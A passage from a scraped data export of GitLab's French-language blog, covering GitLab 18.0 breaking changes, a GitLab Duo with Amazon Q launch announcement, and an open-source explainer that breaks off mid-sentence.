pas de ces portées seront **rejetées**.\n\nAvant de procéder à la mise à niveau, vous devez générer de nouveaux tokens avec les [**portées requises**](https://docs.gitlab.com/ee/user/packages/dependency_proxy/#authenticate-with-the-dependency-proxy-for-container-images), puis mettre à jour les variables et scripts de vos workflows avec ces nouveaux jetons.\n\nVous avez également la possibilité d'utiliser [**Dependency Token Checker**](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/dependancy-token-checker/), un script développé par la communauté, qui vous permet de visualiser les tokens et de procéder à leur rotation automatique.\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#dependency-proxy-token-scope-enforcement)\n\n### Impact modéré\n\n**1. Nouvelles limites de conservation des données relatives aux vulnérabilités sur GitLab.com**\n\nGitLab.com - **Réservé aux clients Ultimate**\n\nÀ partir de GitLab 18.1, nous mettrons en place progressivement, sur une période de six mois, une **nouvelle limite de conservation des données** pour les clients de l'édition **GitLab Ultimate** sur GitLab.com, afin d'améliorer les performances et la fiabilité du système. Celle-ci aura une incidence sur la durée de conservation des données relatives aux vulnérabilité.\n\nLes vulnérabilités datant de plus de 12 mois qui n'ont pas été mises à jour seront automatiquement déplacées vers des archives de stockage à froid qui  :\n\n* restent accessibles et téléchargeables via l'interface utilisateur (UI) de GitLab  \n* sont conservées pendant 3 ans  \n* sont définitivement supprimées après 3 ans \n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#new-data-retention-limits-for-vulnerabilities-on-gitlabcom)\n- [Documentation](https://handbook.gitlab.com/handbook/security/records-retention-deletion/)\n\n**2. Rejet des stratégies de pull d'image de conteneur qui ne figurent pas dans `allowed_pull_policies`**\n\nGitLab.com | GitLab Self-Managed | GitLab Dedicated  \n\nToutes les stratégies de pull configurées doivent être présentes dans la [**configuration allowed_pull_policies**](https://docs.gitlab.com/runner/executors/docker/#allow-docker-pull-policies) spécifiée dans le fichier **`config.toml`** du runner. Si ce n'est pas le cas, le job devrait échouer avec une erreur de type**`incompatible pull policy`**.\n\nActuellement, les jobs ne sont pas rejetés tant qu'au moins une stratégie de pull figure dans **`allowed-pull-policies`**, même si d'autres sont exclues.\n\nDans GitLab 18.0, un job ne sera en échec que si aucune stratégie de pull définie ne figure dans **`allowed-pull-policies`**. Toutefois, maintenant, seules les stratégies autorisées dans **`allowed-pull-policies`** seront effectivement appliquées. Avec GitLab 18.0, cette distinction risque de provoquer l'échec de jobs qui s'exécutent actuellement avec succès.\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#reject-container-image-pull-policies-not-in-allowed_pull_policies)\n- [Documentation](https://docs.gitlab.com/runner/executors/docker/#allow-docker-pull-policies)\n\n**3. Fin de la prise en charge de PostgreSQL 14 et 15**\n\nGitLab Self-Managed \n\nGitLab suit une [**cadence de mise à niveau annuelle pour PostgreSQL**](https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/data-access/database-framework/postgresql-upgrade-cadence/).\n\nLa prise en charge de PostgreSQL 14 et 15 sera supprimée dans GitLab 18.0 et PostgreSQL 16 deviendra la version minimale requise.\n\nPostgreSQL 14 et 15 seront pris en charge pendant l'ensemble du cycle de sortie de nouvelles versions de GitLab 17. PostgreSQL 16 sera également pris en charge pour les instances qui souhaitent effectuer une mise à niveau avant la sortie de GitLab 18.0.\n\nPour anticiper ce changement, les instances qui n'utilisent pas [**PostgreSQL Cluster**](https://docs.gitlab.com/administration/postgresql/replication_and_failover/) (comme celles installées avec un paquet Omnibus sur une seule instance PostgreSQL), bénéficieront d'une mise à niveau automatique vers PostgreSQL 16 à partir de GitLab 17.11. Si vous utilisez [**PostgreSQL Cluster**](https://docs.gitlab.com/administration/postgresql/replication_and_failover/) ou si vous [**désactivez cette mise à niveau automatique**](https://docs.gitlab.com/omnibus/settings/database/#opt-out-of-automatic-postgresql-upgrades), vous devrez [**effectuer une mise à niveau manuelle vers PostgreSQL 16**](https://docs.gitlab.com/omnibus/settings/database/#upgrade-packaged-postgresql-server) pour passer à GitLab 18.0. Assurez-vous de disposer de suffisamment d'espace disque pour effectuer la mise à niveau.\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#postgresql-14-and-15-no-longer-supported)\n- [Documentation](https://docs.gitlab.com/omnibus/settings/database/#upgrade-packaged-postgresql-server)\n- [Instructions pour la migration](https://docs.gitlab.com/omnibus/development/managing-postgresql-versions/)\n\n**4. Obsolescence des templates CI/CD Terraform**\n\nGitLab Self-Managed\n\nLes templates CI/CD Terraform sont déclarés obsolètes et sont supprimés dans GitLab 18.0. Les templates concernés sont les suivants  :\n\n* `Terraform.gitlab-ci.yml`  \n* `Terraform.latest.gitlab-ci.yml`  \n* `Terraform/Base.gitlab-ci.yml`  \n* `Terraform/Base.latest.gitlab-ci.yml`\n\nGitLab ne pourra pas mettre à jour le binaire **`terraform`** dans les images de job vers une version sous licence Business Source License (BSL).\n\nPour continuer à utiliser Terraform, clonez les templates et l'[**image Terraform**](https://gitlab.com/gitlab-org/terraform-images), et maintenez-les à jour si nécessaire. GitLab fournit des [**instructions détaillées**](https://gitlab.com/gitlab-org/terraform-images) pour migrer vers une image personnalisée.\n\n**À la place, nous vous recommandons d'utiliser le nouveau composant CI/CD OpenTofu sur GitLab.com ou le nouveau template CI/CD OpenTofu sur GitLab Self-Managed.** Les composants CI/CD ne sont pas encore disponibles sur GitLab Self-Managed. Toutefois, le [**ticket n° 415638**](https://gitlab.com/gitlab-org/gitlab/-/issues/415638) propose d'ajouter cette fonctionnalité. Si les composants CI/CD deviennent disponibles sur GitLab Self-Managed, le template CI/CD OpenTofu sera supprimé.\n\nEn savoir plus sur le nouveau [composant CI/CD OpenTofu](https://gitlab.com/components/opentofu).\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#deprecate-terraform-cicd-templates)\n\n**5. Mise à jour majeure du sous-chart Prometheus**\n\nGitLab Self-Managed\n\nAvec GitLab 18.0 et le chart GitLab 9.0, le sous-chart Prometheus sera mis à jour de la version 15.3 à la version 27.3.\n\nAvec cette mise à jour, Prometheus 3 sera livré par défaut.\n\nVous devrez effectuer certaines étapes manuelles pour effectuer la mise à niveau. Si Alertmanager, Node Exporter ou Pushgateway sont activés, vous devrez également mettre à jour vos valeurs Helm.\n\nVeuillez vous référer au [**guide sur la migration**](https://docs.gitlab.com/charts/releases/9_0/#prometheus-upgrade) pour plus d'informations.\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#major-update-of-the-prometheus-subchart)\n\n### Impact faible\n\n**1. Arrêt de la compilation des paquets SUSE Linux Enterprise Server 15 SP2**\n\nGitLab Self-Managed\n\nLe version avec service et support à long terme (LTSS) pour SUSE Linux Enterprise Server (SLES) 15 SP2 a pris fin en décembre 2024.\n\nPar conséquent, nous ne prendrons plus en charge la distribution de SLES SP2 pour les installations de paquets Linux. Veuillez effectuer une mise à niveau vers SLES 15 SP6 pour bénéficier d'une prise en charge continue.\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#support-for-suse-linux-enterprise-server-15-sp2)\n\n**2. Suppression du limiteur de débit Gitaly**\n\nGitLab Self-Managed\n\nAuparavant, Gitaly prenait en charge la [**limitation de débit basée sur RPC**](https://gitlab.com/gitlab-org/gitaly/-/blob/4b7ea24f6172a03e7989879200b47b6fd0e2d059/doc/backpressure.md#L55-55). Nous rendons aujourd'hui cette fonctionnalité obsolète, car elle ne donne pas les résultats escomptés. Veuillez consulter le ticket relatif à l'obsolescence pour plus de détails.\n\nSi vous avez procédé à la configuration du limiteur de débit (bientôt obsolète), aucune erreur ne sera renvoyée et celle-ci sera simplement ignorée.\n\nÀ la place, vous devez utiliser le [**limiteur de simultanéité**](https://docs.gitlab.com/administration/gitaly/concurrency_limiting/).\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#gitaly-rate-limiting)\n\n**3. Obsolescence de la prise en charge de l'image du contrôleur NGINX 1.3.1**\n\nGitLab Self-Managed\n\nNous passons à la version 1.11.2 du contrôleur NGINX par défaut, laquelle impose de nouvelles règles de contrôle d'accès basé sur les rôles (RBAC). Les utilisateurs qui utilisent **nginx-ingress.rbac.create: false** pour gérer leurs propres règles RBAC\n\ndevront les mettre à jour avant de migrer vers la version 1.11.2 ou une version ultérieure. Un mécanisme alternatif permet désormais de déployer la version 1.3.1 uniquement si la valeur Helm est définie comme indiqué ci-dessus. Par ailleurs, nous avons ajouté la valeur **nginx-ingress.controller.image.disableFallback**, qui est définie par défaut sur « false ». Si vous gérez vos propres règles RBAC, vous pouvez définir cette valeur sur « true » une fois les nouvelles règles en place, afin de permettre le déploiement de la version 1.11.2.\n\nLa version 17.5 marquera la fin de la prise en charge de l'image 1.3.1 et du mécanisme alternatif, afin de généraliser l'utilisation de la version 1.11.2, plus sécurisée.\n\n[Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#fallback-support-for-gitlab-nginx-chart-controller-image-v131)\n\n**4. Mise à jour de la version majeure des analyseurs de tests de sécurité des applications**\n\nGitLab.com | GitLab Self-Managed | GitLab Dedicated\n\nAvec GitLab 18.0, les analyseurs utilisés pour les tests de sécurité des applications passeront à de nouvelles versions majeures.\n\nSi vous n'utilisez pas les templates inclus par défaut ou si vous avez épinglé vos versions d'analyseur, pensez à mettre à jour votre job CI/CD en retirant la version épinglée ou en passant à la dernière version majeure.\n\nJusqu'à GitLab 18.0, les analyseurs seront toujours mis à jour sur les versions 17.0 à 17.11. Ensuite, seuls les analyseurs de la nouvelle version majeure bénéficieront des correctifs et des nouvelles fonctionnalités.\n\nConformément à notre politique de maintenance, nous ne rétroportons pas les bogues ni les nouvelles fonctionnalités vers les versions obsolètes. Seuls les correctifs de sécurité peuvent être appliqués aux trois dernières versions mineures.\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#application-security-testing-analyzers-major-version-update)\n\n**5. API Discovery utilisera les pipelines de branche par défaut**\n\nGitLab.com | GitLab Self-Managed | GitLab Dedicated\n\nDans GitLab 18.0, nous mettrons à jour le comportement par défaut du template CI/CD pour API Discovery (**API-Discovery.gitlab-ci.yml**).\n\nJusqu'à GitLab 18.0, il configurait par défaut les jobs pour qu'ils s'exécutent dans des [**pipelines de merge requests (MR)**](https://docs.gitlab.com/ci/pipelines/merge_request_pipelines/) dès l'ouverture d'une MR.\n\nDès GitLab 18.0, ce template adoptera le même comportement que les [**éditions stables de templates**](https://docs.gitlab.com/user/application_security/detect/roll_out_security_scanning/#template-editions) des autres scanners d'arbre de syntaxe abstraite (AST) :\n\n* Par défaut, le template exécutera des jobs de scan dans les pipelines de branche.  \n* Vous pourrez définir la variable CI/CD **AST_ENABLE_MR_PIPELINES: true** pour utiliser les pipelines MR lors de l'ouverture d'une MR. Le suivi de la mise en œuvre de cette variable est disponible via le [**ticket n° 410880**](https://gitlab.com/gitlab-org/gitlab/-/issues/410880).\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#api-discovery-will-use-branch-pipelines-by-default)\n\n**6. Réduction par défaut de la valeur du DAST DAST_DEVTOOLS_API_TIMEOUT**\n\nGitLab.com | GitLab Self-Managed | GitLab Dedicated\n\nLa variable d'environnement **DAST_DEVTOOLS_API_TIMEOUT** détermine la durée pendant laquelle un test dynamique de sécurité des applications (DAST) attend une réponse du navigateur. Avant GitLab 18.0, la variable avait une valeur statique de 45 secondes. Dès GitLab 18.0, la variable d'environnement **DAST_DEVTOOLS_API_TIMEOUT** aura une valeur dynamique, calculée en fonction d'autres configurations de délai d'attente dépassé.\n\nDans la plupart des cas, la valeur de 45 secondes était supérieure à la valeur du délai d'attente dépassé de nombreuses fonctions du scanner. Le passage à un calcul dynamique permet d'adapter la variable __DAST_DEVTOOLS_API_TIMEOUT__ à un plus grand nombre de situations.\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#dast-dast_devtools_api_timeout-will-have-a-lower-default-value) \n\n## Outils et ressources pour gérer l'impact sur votre environnement\n\nNous avons développé des outils spécifiques pour aider nos clients à comprendre l'impact de ces changements planifiés sur leur(s) instance(s) GitLab. Après avoir évalué l'impact sur votre projet, consultez les mesures d'atténuation décrites dans la documentation pour assurer une transition fluide vers GitLab 18.0.\n\n* [Obsolescence de la recherche avancée](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/deprecation-migration-tools/advanced-search-deprecations) : cet outil s'appuie sur l'API de recherche avancée de GitLab pour repérer les chaînes liées aux obsolescences dans vos groupes et projets, et signale aussi les fichiers nécessitant une vérification manuelle. *__Remarque :__ peut comporter des faux positifs.*   \n* [Assistant de détection de prise en charge de la compilation pour l'analyse des dépendances](https://gitlab.com/security-products/tooling/build-support-detection-helper) : cet outil détecte les projets concernés par trois obsolescences liées à l'analyse des dépendances ([1](https://docs.gitlab.com/update/deprecations/#dependency-scanning-for-javascript-vendored-libraries), [2](https://docs.gitlab.com/update/deprecations/#dependency-scanning-upgrades-to-the-gitlab-sbom-vulnerability-scanner), [3](https://docs.gitlab.com/update/deprecations/#resolve-a-vulnerability-for-dependency-scanning-on-yarn-projects) ; toutes reportées à la version 19.0) et s'appuie sur l'API pour analyser les fichiers et les nom de jobs CI.\n* [GitLab Detective](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective/-/blob/main/README.md) (GitLab Auto-géré uniquement) : cet outil expérimental analyse automatiquement votre installation GitLab pour détecter les problèmes connus, en s'appuyant sur des vérifications poussées des fichiers de configuration et valeurs issues de la base de données. **Remarque :** l’outil doit s'exécuter directement sur vos nœuds GitLab.\n\nPour vous accompagner dans cette transition, nous avons lancé sur GitLab University des micro-cours pratiques (de 15 minutes maximum) dédiés à la préparation et à la mise en œuvre des actions d'atténuation nécessaires. [Commencez votre parcours d'apprentissage ici](https://university.gitlab.com/catalog?query=18.0). \n\nSi vous disposez d'un forfait payant et que vous avez des questions ou besoin d'aide concernant ces changements, veuillez [créer un ticket d'assistance](https://about.gitlab.com/support/portal/) sur le portail d'assistance GitLab. \n\nSi vous utilisez la [version gratuite de Gitlab.com](https://about.gitlab.com/support/statement-of-support/#free-users), vous pouvez obtenir de l'aide via les ressources communautaires : [documentation GitLab](https://docs.gitlab.com/), [forum de la communauté GitLab](https://forum.gitlab.com/) et [Stack Overflow](http://stackoverflow.com/questions/tagged/gitlab).\n",[676,1067],{"slug":1382,"featured":6,"template":683},"a-guide-to-the-breaking-changes-in-gitlab-18-0","content:fr-fr:blog:a-guide-to-the-breaking-changes-in-gitlab-18-0.yml","A Guide To The Breaking Changes In Gitlab 18 0","fr-fr/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0.yml","fr-fr/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0",{"_path":1388,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1389,"content":1394,"config":1401,"_id":1403,"_type":16,"title":1404,"_source":17,"_file":1405,"_stem":1406,"_extension":20},"/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws",{"title":1390,"description":1391,"ogTitle":1390,"ogDescription":1391,"noIndex":6,"ogImage":1142,"ogUrl":1392,"ogSiteName":841,"ogType":842,"canonicalUrls":1392,"schema":1393},"GitLab Duo combiné à Amazon Q : l'IA agentique optimisée pour AWS est désormais disponible à tous les utilisateurs","La plateforme DevSecOps complète alimentée par l'IA, combinée aux fonctionnalités de cloud computing les plus avancées, accélère les cycles de développement, augmente l'automatisation et améliore la qualité du code.","https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo combiné à Amazon Q : l'IA agentique optimisée pour AWS est désormais disponible à tous les utilisateurs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilio Salvador\"}],\n        \"datePublished\": \"2025-04-17\",\n      }\n                  ",{"title":1390,"description":1391,"authors":1395,"heroImage":1142,"date":1397,"body":1398,"category":697,"tags":1399,"updatedDate":1400},[1396],"Emilio Salvador","2025-04-17","Nous sommes ravis d'annoncer aujourd'hui la disponibilité générale de [GitLab Duo combiné à Amazon Q](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/), qui fournit une IA agentique tout au long du cycle de développement logiciel aux clients AWS. Basé sur GitLab Ultimate, GitLab Duo combiné à Amazon Q inclut de nombreuses fonctionnalités, telles que la complétion de code, l'explication de code, la génération de code, le chat, ainsi que l'explication et la résolution des vulnérabilités, qui sont désormais toutes optimisées par Amazon Q. Cette solution est disponible dans le cadre d'un modèle de déploiement GitLab Self-Managed pour les clients sur AWS.\n\nLes agents d'Amazon Q étant directement intégrés à la plateforme DevSecOps de GitLab, les développeurs peuvent continuer à utiliser leur environnement de développement habituel tout en bénéficiant de puissantes fonctionnalités d'IA. Le résultat ? Une expérience fluide qui permet d'accélérer les cycles de développement, de réduire les tâches manuelles et d'améliorer la qualité du code.\n\n« Le programme d'accès anticipé de GitLab Duo combiné à Amazon Q nous a permis de découvrir tout le potentiel de transformation de cette solution pour nos workflows de développement », explique Osmar Alonso, ingénieur DevOps chez Volkswagen Digital Solutions. « Même lors de la phase d'amorçage, nous avons vu comment une intégration plus avancée d'agents autonomes pouvait rationaliser notre processus, de la validation du code à la production. Nous avons hâte de découvrir comment cette technologie va nous permettre de nous concentrer sur l'innovation et d'accélérer notre transformation digitale. »\n\n## L'IA agentique s'invite dans les environnements clients complexes\n\nEn combinant l'IA agentique avec une infrastructure cloud sécurisée et fiable, GitLab et AWS apportent une sécurité, une évolutivité et une fiabilité intégrées aux environnements clients complexes, ce qui se traduit par de nombreux avantages :\n\n__Une expérience de développement unifiée pour un développement rationalisé__\n\nLes développeurs peuvent interagir avec Amazon Q via l'interface GitLab Duo Chat à partir de leur environnement de développement intégré (IDE) préféré ou de l'interface Web GitLab. Les utilisateurs n'ont ainsi pas besoin de changer de contexte pour utiliser d'autres outils et peuvent rester concentrés sur le projet en cours.\n\n__Une solution unique pour l'ensemble du cycle de développement logiciel__\n\nLes suggestions et optimisations de code exploitent les modèles et pratiques spécifiques à AWS, tandis que les outils de test comprennent les interactions et les dépendances des services AWS. Un magasin de données commun à toutes les étapes fournit un contexte essentiel aux agents d'IA, permettant une visibilité et une traçabilité complètes pour les actions pertinentes.\n\n__Un développement sécurisé avec des garde-fous à l'échelle de l'entreprise__\n\nLa sécurité et la conformité tout au long du cycle de développement logiciel sont intégrées directement dans la plateforme de développement avec des garde-fous qui aident à réduire les risques sans entraver la vélocité du développement. Cette approche sécurisée du développement logiciel garantit la transparence et l'auditabilité grâce aux agents d'IA, tout en s'intégrant de façon homogène aux services liés à la sécurité et aux frameworks de conformité d'AWS.\n\n## Comment utiliser GitLab Duo combiné à Amazon Q ?\n\nVoici cinq cas d'utilisation initiaux que nous ciblons pour aider les équipes à créer plus rapidement des logiciels sécurisés avec une IA agentique : \n\n1. **Accélération du développement des fonctionnalités** : créez des descriptions dans les tickets, générez des plans de mise en œuvre en fonction de votre code base existant et produisez des merge requests complètes prêtes pour la vérification. Vous accélérez ainsi la livraison des fonctionnalités tout en appliquant vos normes de développement internes.  \n2. **Modernisation des applications existantes** : analysez votre code base Java existant, créez un plan de mise à niveau complet et générez des merge requests contenant toutes les modifications de code nécessaires. Cela permet de réduire le temps de mise à niveau de Java, tout en maintenant une piste d'audit claire de toutes les transformations de code. La prise en charge de .NET et d'autres langages est prévue pour les prochaines versions.  \n3. **Amélioration de l'assurance qualité** : analysez le code et créez automatiquement des tests unitaires complets qui comprennent la logique de votre application et les interactions avec les services AWS. Vous pouvez ainsi augmenter la couverture des tests, réduire les tâches manuelles de rédaction des tests et contribuer à assurer une qualité de test constante pour toutes les applications.  \n4. **Optimisation de la revue de code** : insérez des commentaires inline sur les modifications de code, suggérez des améliorations basées sur les normes de développement, mettez en évidence les considérations de sécurité et de performances. Vous pouvez ainsi réduire les cycles de revue de code et fournir des merges de code de meilleure qualité pour le déploiement.  \n5. **Correction des vulnérabilités** : expliquez les vulnérabilités détectées de façon claire et détaillée, puis corrigez-les en un seul clic en fonction des modifications de code recommandées, ce qui contribue à réduire considérablement le délai entre la détection des failles et leur correction.\n\nDécouvrez GitLab Duo combiné à Amazon Q en action :\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1075753390?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Technical Demo: GitLab Duo with Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> #### Profitez dès aujourd'hui des avantages de GitLab Duo combiné à Amazon Q\n> La combinaison de la plateforme DevSecOps unifiée de GitLab alimentée par l'IA et des fonctionnalités d'IA avancées d'Amazon Q offre aux clients AWS une solution qui transforme la façon dont les équipes créent et déploient les logiciels. Pour en savoir plus sur GitLab Duo combiné à Amazon Q, n'hésitez pas à nous retrouver à l'occasion d'un [AWS Global Summit dans votre région](https://about.gitlab.com/fr-fr/events/aws-summits/) ou à [contacter votre représentant GitLab](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/#form).",[699,1067,700,676,675,827],"2025-04-24",{"slug":1402,"featured":92,"template":683},"gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws","content:fr-fr:blog:gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws.yml","Gitlab Duo With Amazon Q Agentic Ai Optimized For Aws","fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws.yml","fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws",{"_path":1408,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1409,"content":1415,"config":1421,"_id":1423,"_type":16,"title":1424,"_source":17,"_file":1425,"_stem":1426,"_extension":20},"/fr-fr/blog/what-is-open-source",{"title":1410,"description":1411,"ogTitle":1410,"ogDescription":1411,"noIndex":6,"ogImage":1412,"ogUrl":1413,"ogSiteName":841,"ogType":842,"canonicalUrls":1413,"schema":1414},"Open source : définition, avantages et défis","Qu'est-ce que l'open source ? Apprenez comment ce modèle collaboratif transforme le développement logiciel grâce au libre accès et au partage du code.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662973/Blog/Hero%20Images/open-source-definition.jpg","https://about.gitlab.com/blog/what-is-open-source","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Open source : définition, avantages et défis\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab France Team\"}],\n        \"datePublished\": \"2025-04-16\",\n      }",{"title":1410,"description":1411,"authors":1416,"heroImage":1412,"date":1417,"body":1418,"category":928,"tags":1419},[1232],"2025-04-16","Basé sur des principes fondamentaux tels que l'ouverture, le partage des connaissances et l'amélioration continue, l'open source révolutionne le monde du développement logiciel. En réunissant des développeurs du monde entier, l'open source crée un environnement propice à l'innovation, où les idées et les solutions émergent grâce à la diversité des contributions. \n\nDécouvrez dans cet article les principes fondamentaux du développement [open source](https://about.gitlab.com/fr-fr/solutions/open-source/ \"Solutions GitLab pour les projets open source\"). \n\n## Qu’est-ce que l’open source ? \n\nL'open source est un modèle de développement fondé sur la transparence et la collaboration. Contrairement aux logiciels propriétaires, où seul le détenteur des droits peut modifier le code source ou redistribuer le produit, l'open source rend ce code accessible à tous. Les développeurs du monde entier peuvent ainsi l'examiner, l'améliorer et le partager librement, favorisant l'innovation et le progrès collectif.\n\n> [\nEssayez GitLab Ultimate gratuitement](https://about.gitlab.com/fr-fr/free-trial/devsecops/ \"Essai gratuit de GitLab Ultimate\") et commencez à développer des logiciels open source dès aujourd'hui.\n\n## Quels sont les avantages de l'open source ?\n\nBien plus qu'une alternative technologique, l'open source est un modèle offrant de nombreux avantages. Réduction des coûts, accélération de l'innovation, meilleure sécurité des logiciels, ou encore personnalisation, sont autant d'atouts qui peuvent transformer les projets et stimuler la croissance des entreprises.\n\n### Des coûts réduits \n\nÀ l'opposé des solutions propriétaires parfois onéreuses, les logiciels open source se distinguent souvent par leur faible coût, vous dispensant des dépenses traditionnellement associées aux licences et au support technique. Chez GitLab par exemple, les utilisateurs ont la possibilité d’utiliser gratuitement [GitLab Community Edition (CE)](https://about.gitlab.com/fr-fr/install/ce-or-ee/ \"GitLab Community Edition (CE)\") qui est open source. \n\n### Une meilleure transparence\n\nL'accès au code source permet à qui le souhaite d'examiner, de modifier et d'améliorer les logiciels. Pour les développeurs, cette transparence facilite leur compréhension des logiciels, de la manière dont ils sont construits et des failles de sécurité potentielles qu'ils peuvent contenir. Par exemple, le code source de GitLab est disponible publiquement sur GitLab.com et offre aux utilisateurs l'opportunité d’inspecter le code, de comprendre son fonctionnement et même de contribuer activement à son développement.  \n\n### Des logiciels personnalisables \n\nL'open source offre aux entreprises la possibilité d'adapter leurs logiciels à leurs besoins spécifiques, là où les solutions propriétaires limitent souvent cette liberté. Grâce à leur nature modulable, les logiciels open source permettent d'optimiser l'efficacité opérationnelle en s'adaptant précisément aux besoins des entreprises. GitLab illustre cette flexibilité en offrant à tous la possibilité de contribuer de façon traditionnelle, et en offrant également aux entreprises la possibilité de développer des intégrations et des fonctionnalités sur mesure grâce à son [programme Co-Create](https://about.gitlab.com/community/co-create/ \"Programme Co-Create\").\n\n### Une communauté engagée \n\nLes projets open source reposent sur l'engagement d'une communauté qui partage ses connaissances pour résoudre des problèmes ou proposer des améliorations sur les logiciels. GitLab [tire pleinement parti de cet écosystème](https://about.gitlab.com/community/ \"Communauté de GitLab\") en s'appuyant sur une base d'utilisateurs et de développeurs qui enrichissent activement son développement et [partagent leur expertise](https://forum.gitlab.com/ \"Forum de GitLab\"). GitLab collabore également avec d'autres entreprises sur des projets open source comme Git, renforçant son engagement pour l'innovation collective et la création de solutions évolutives.\n\n### Un accélérateur d’innovations\n\nEn réunissant des talents du monde entier autour de projets communs, l'open source devient un puissant moteur d'innovation. Cette synergie stimule l'amélioration continue et l'enrichissement des logiciels grâce à la diversité des compétences partagées. Ce modèle accélère ainsi le développement technologique en rendant les outils open source accessibles à un large public. GitLab, avec son cycle de release mensuel, [intègre régulièrement de nouvelles fonctionnalités et améliorations](https://about.gitlab.com/releases/ \"Releases GitLab\") fondées sur les retours et contributions de sa communauté d'utilisateurs.\n\n### Des logiciels évolutifs\n\nLes logiciels open source reposent souvent sur des normes ouvertes qui [simplifient leur intégration avec d'autres systèmes](https://about.gitlab.com/fr-fr/integrations/ \"Intégrations GitLab\"). Conçus pour s'adapter à divers environnements, ils offrent aux entreprises la possibilité de créer des solutions sur mesure, performantes et évolutives.\n\n### Une sécurité logicielle renforcée\n\nLa sécurité et la fiabilité sont des piliers essentiels des logiciels open source. Grâce à l'examen continu du code par une large communauté de développeurs, les failles de sécurité sont rapidement identifiées et corrigées. Bien que cette approche ne garantisse pas une sécurité absolue, elle favorise grandement la réactivité des équipes de développement face aux vulnérabilités de toutes sortes. GitLab applique ce principe en [s'appuyant sur sa communauté pour renforcer la sécurité de sa plateforme](https://handbook.gitlab.com/handbook/security/product-security/application-security/runbooks/hackerone-process/).\n\n### Un savoir-faire enrichi\n\nLes logiciels open source représentent une mine d'opportunités d'apprentissage pour les développeurs. En s'impliquant dans ces projets, ils peuvent perfectionner leurs compétences et gagner en expérience auprès d'autres professionnels du domaine, enrichissant leur savoir-faire et accélérant leur développement professionnel.\n\nPar exemple, les développeurs peuvent étudier la base de code de GitLab pour apprendre les meilleures pratiques en matière de développement de plateformes DevSecOps. Les membres de l'équipe GitLab participent par ailleurs à des programmes de mentorat comme [Google Summer of Code](https://about.gitlab.com/blog/google-summer-of-code-2024-contribute-to-gitlab-and-git-to-prepare/ \"Google Summer of Code\") et [Outreachy](https://about.gitlab.com/blog/outreachy-sponsorship-winter-2020/ \"Outreachy\") qui permettent d'apprendre aux nouveaux participants comment contribuer à GitLab ou autres logiciels open source comme Git.\n\n### Des logiciels plus qualitatifs\n\nDe nombreux projets open source bénéficient de la contribution de développeurs talentueux. Grâce à leur expertise, le code des logiciels open source est constamment examiné, amélioré et renforcé, ce qui permet de développer des solutions robustes et performantes.\n\n## Quels sont les défis liés à l’open source\n\nExplorer l'univers des logiciels open source peut être aussi stimulant qu'exigeant. De la création de relations solides avec une communauté au renforcement de la sécurité des projets, chaque étape comporte ses propres défis. Pour réussir, il est essentiel de comprendre ces obstacles et de mettre en place des stratégies adaptées.\n\n### Construire une relation solide avec sa communauté \n\nLe succès du développement open source repose sur la capacité à établir et à maintenir une relation solide avec une communauté de développeurs et d'utilisateurs. Cela nécessite des échanges continus afin de comprendre et de répondre à ses attentes. Puisque la majorité des contributeurs sont bénévoles, il est essentiel de coordonner leurs efforts de manière agile et structurée.\n\nPour maintenir leur motivation sur le long terme, notamment pour les contributeurs œuvrant sans contrepartie financière, il est crucial de reconnaître et de valoriser leur travail. Cela peut passer par des mentions officielles (crédits), des opportunités de formation ou d'autres formes de reconnaissances professionnelles. Sans cette valorisation, les contributeurs risquent de se détourner des projets, voire de créer des initiatives parallèles. Bâtir une communauté engagée et durable est donc au cœur du succès de tout projet open source.\n\n### Trouver un équilibre entre les intérêts de la communauté et celle des entreprises\n\nTrouver un équilibre entre les intérêts des entreprises et ceux de la communauté est un défi central dans le développement open source. Les entreprises impliquées dans ces projets ont généralement des objectifs prioritaires. Ces priorités, souvent commerciales, peuvent entrer en conflit avec les attentes plus larges de la communauté, dont les intérêts sont plutôt axés sur l'innovation libre ou la personnalisation des logiciels.\n\nLorsque les décisions semblent trop axées sur les intérêts de l'entreprise, la communauté risque de se sentir exclue, ce qui peut réduire son engagement et limiter ses contributions. Pour éviter ce désengagement, les entreprises 